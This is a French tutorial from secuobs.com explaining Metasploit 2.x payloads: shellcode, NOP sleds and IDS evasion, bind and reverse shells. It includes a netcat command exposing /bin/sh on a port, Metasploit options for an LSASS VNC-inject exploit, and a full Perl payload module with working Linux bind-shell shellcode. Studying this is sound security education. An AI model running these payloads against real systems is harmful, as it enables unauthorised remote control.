[Metasploit 2.x – Partie 2] Introduction aux charges utiles (payloads)

Par Rédaction, secuobs.com
Le 28/12/2007

---

Résumé : Une charge utile est une suite d'instructions qui est envoyée via un exploit pour rediriger le flux d’exécution d'une application faillible afin d'obtenir une invite de commande après compromission. Ces charges peuvent vous permettre entre autres d'exécuter des commandes distantes ou de récupérer une interface graphique. - Lire l'article



Un payload (que nous pourrions traduire par charge utile), au sens de la plateforme Metasploit, est le code envoyé dans l’exploit permettant de rediriger le flux d’exécution de l’application vulnérable pour obtenir un shell (terminal de commande), exécuter une commande distante, récupérer l’interface graphique, lancer un serveur, etc.

La plupart du temps, il s’agit d’un shellcode qui est une suite d’opcodes ( codes propres à la plateforme et au système d’exploitation - lien ) permettant d’exécuter des instructions. Le shellcode ( lien ) est alors copié en mémoire sur la machine distante (via un buffer overflow, un bug de format, etc.) puis le flux d’exécution de l’application faillible est détourné pour le faire pointer sur ce shellcode.

Selon la taille du tampon (buffer) disponible, qui est fonction du bug, il peut être possible d’insérer des opcodes NOP (opcodes n’exécutant aucune tâche, simplement suite de sauts d’instruction NOP en instruction NOP) pour élargir la fenêtre d’exécution.

En effet, il n’est pas toujours évident de connaître l’emplacement en mémoire du shellcode envoyé (sauf pour les bugs de format typiquement), et l’utilisation d’un grand nombre de NOP permet de minimiser les risques d’erreur : le résultat sera identique si le flux est redirigé sur le premier NOP ou sur le 2500e par exemple.

Les opcodes de NOP Intel les plus connus sont 0x90 et 0x41 mais il en existe de nombreux autres, et il est également possible de créer des suites de NOP aléatoires en fonction du nombre de NOP à envoyer, permettant ainsi d’échapper aux IDS/IPS (respectivement Intrusion Detection System et Intrusion Protection System - lien ) qui réagissent à des patterns de ce type.

Une suite équivalente de NOPs pourrait par exemple empiler puis dépiler une valeur sur la pile, ne modifiant pas le comportement de l’application, et ne pouvant donc pas entraîner de crash :

push EAX (opcode 0x50)
pop EAX (opcode 0x58)


Ces deux instructions étant opposées et sans conséquence, nous pourrions remplacer une série de « 0x90 0x90 » (« \x90\x90 ») par « 0x50 0x58 » (« \x50\x58 »). Il existe des générateurs permettant d’automatiser cette tâche ( shellforge - lien ).

Les shellcodes sont également spécifiques aux architectures pour diverses raisons dont des jeux d’instructions différents, des sens de lecture de la mémoire : little/big endian ( lien ), etc.

Un bind shellcode consiste à exécuter sur la machine distante l’équivalent d’un serveur : un port (TCP ou UDP - lien ) se met alors en écoute de connexions entrantes et redirige les flux vers un shell (« /bin/sh » sous GNU/Linux par exemple).

Il est possible de se faire une idée de ce processus grâce à l’outil netcat ( lien ) qui permet de mettre en écoute un shell sur un port TCP :

$ nc –l –p 11000 –c /bin/sh


Commande côté serveur :

$ nc localhost 11000
pwd
/home/user
date
ven dc 2 19:53:08 CET 2005
nc serveurssh 22
SSH-2.0-OpenSSH_3.8.1p1 Debian-8.sarge.4


Commandes côté client :

Un reverse shellcode permet d’obtenir un comportement de client standard sur la machine exploitée, c'est-à-dire qu’elle établira une connexion sur une machine définie (fixée dans le payload envoyé) et lancera alors un shell que le « serveur » pourra contrôler. Les reverse shellcodes permettent parfois d’outrepasser des règles de filtrage sur des firewalls ( lien ) de niveau 3 ( lien ).

Il est également possible de combiner des attaques de reverse shellcode avec des injections (dans des processus, threads, …) afin de contourner des pare-feux applicatifs. Ces types de shellcodes sont également appelés shellcodes connect back. Plusieurs commandes concernant les payloads sont disponibles dans Metasploit. En voici certaines :

msf > info payload win32_bind_vncinject

Name: Windows Bind VNC Server DLL Inject
Version: $Revision: 1.18 $
OS/CPU: win32/x86
Needs Admin: No
Multistage: Yes
Total Size: 287
Keys: bind

Provided By:
Matt Miller
H D Moore
(…)

Description:
Listen for connection and inject a VNC server into the remote process


msf lsass_ms04_011(win32_bind_vncinject) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------- ------- ---------------------------------------
required RHOST The target address
optional SMBDOM The domain for specified SMB username
required RPORT 139 The target port
optional SMBUSER The SMB username to connect with
optional SMBPASS The password for specified SMB username

Payload: Name Default Description
required VNCDLL /home/user/Softs/Securite/Progs/metasploit_2.5/data/vncdll.dll The full path the VNC service dll
required EXITFUNC thread Exit technique: "process", "thread", "seh"
required AUTOVNC 1 Automatically launch vncviewer
required VNCPORT 5900 The local port to use for the VNC proxy
required LPORT 4444 Listening port for bind shell


Il est ensuite possible de définir les options normalement : set OPTION [VALEUR].


Localisation et développement

Les payloads de Metasploit sont localisés dans le répertoire « payloads/ ». Leur Rédaction est très simple et il est possible d’implémenter de nouvelles extensions très rapidement. Nous allons détailler ci-dessous le payload linux_ia32_bind qui permet d’exécuter un shellcode sur un port distant défini en argument (set LPORT 12345).

Les premières parties sont « déclaratives » :

package Msf::Payload::linux_ia32_bind;
use strict;
use base 'Msf::PayloadComponent::BindConnection';


Puis les détails qui seront ensuite interfacés dans Metasploit sont définis dans une structure $info. Il s’agit ici d’un payload destiné à des Linux Intel 32 bits ( lien ) sans élévation de privilège (pas de set(r)(e)uid - lien - dans le shellcode) :

my $info =
{
'Name' => 'Linux IA32 Bind Shell',
'Version' => '$Revision: 1.2 $',
'Description' => 'Listen for connection and spawn a shell',
'Authors' => [ 'skape ', 'vlad902 ' ],
'Arch' => [ 'x86' ],
'Priv' => 0,
'OS' => [ 'linux' ],
'Size' => '',
};


La taille est ensuite calculée automatiquement dans le constructeur, avec un argument LPORT pour définir le port qui sera mis en écoute (modification d’une partie du shellcode « à la volée » par une couche d’abstraction) :

sub new
{
my $class = shift;
my $hash = @_ ? shift : { };
$hash = $class->MergeHashRec($hash, {'Info' => $info});
my $self = $class->SUPER::new($hash, @_);
$self->_Info->{'Size'} = $self->_GenSize;
return($self);
}

sub Build
{
my $self = shift;
return($self->Generate($self->GetVar('LPORT')));
}


Le code peut alors être généré et modifié avec les options que l’utilisateur pourra définir. Ici, le choix du port en écoute est fait avec l’argument LPORT qui modifiera les octets concernés. La fonction pack avec le template « n » permet de convertir la valeur passée en argument en entier non signé (unsigned int) de type réseau (big endian).

sub Generate
{
my $self = shift;
my $port = shift;
my $off_port = 0x14;
my $port_bin = pack('n', $port);
my $shellcode =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" .
"\x43\x52\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" .
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" .
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" .
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" .
"\x89\xe1\xcd\x80";

substr($shellcode, $off_port, 2, $port_bin);

return($shellcode);
}

sub _GenSize
{
my $self = shift;
my $bin = $self->Generate('4444');
return(length($bin));
}
1;


Autres ressources disponibles dans ce dossier :

[Metasploit 2.x – Partie 1] Introduction et présentation – lien

[Metasploit 2.x – Partie 3] Les charges utiles disponibles – lien

[Metasploit 2.x – Partie 4] La charge utile Meterpreter – lien

[Metasploit 2.x – Partie 5] Scripting – lien

[Metasploit 2.x – Partie 6] Méthodologie d’un audit de sécurité – lien

[Metasploit 2.x – Partie 7] Conclusion et webographie – lien